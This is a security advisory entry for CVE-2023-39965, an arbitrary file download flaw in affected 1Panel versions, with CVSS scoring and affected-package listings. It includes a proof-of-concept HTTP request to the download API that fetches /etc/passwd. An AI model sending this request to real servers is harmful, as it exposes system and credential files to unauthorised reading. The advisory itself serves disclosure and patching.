CVE-2023-39965
MEDIUM6.5EPSS 0.11%1Panel Arbitrary File Download vulnerability
描述
### Summary Any file downloading vulnerability exists in 1Panel backend. ### Details Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.  ### PoC payload: POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json {"path":"/etc/passwd"}  ### Impact Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.
受影響套件(2)
- Go/github.com/1Panel-dev/1Panel>= 1.4.3, < 1.5.0
- Go/github.com/1Panel-dev/1Panel>= 1.4.3, < 1.5.0
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.5 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L |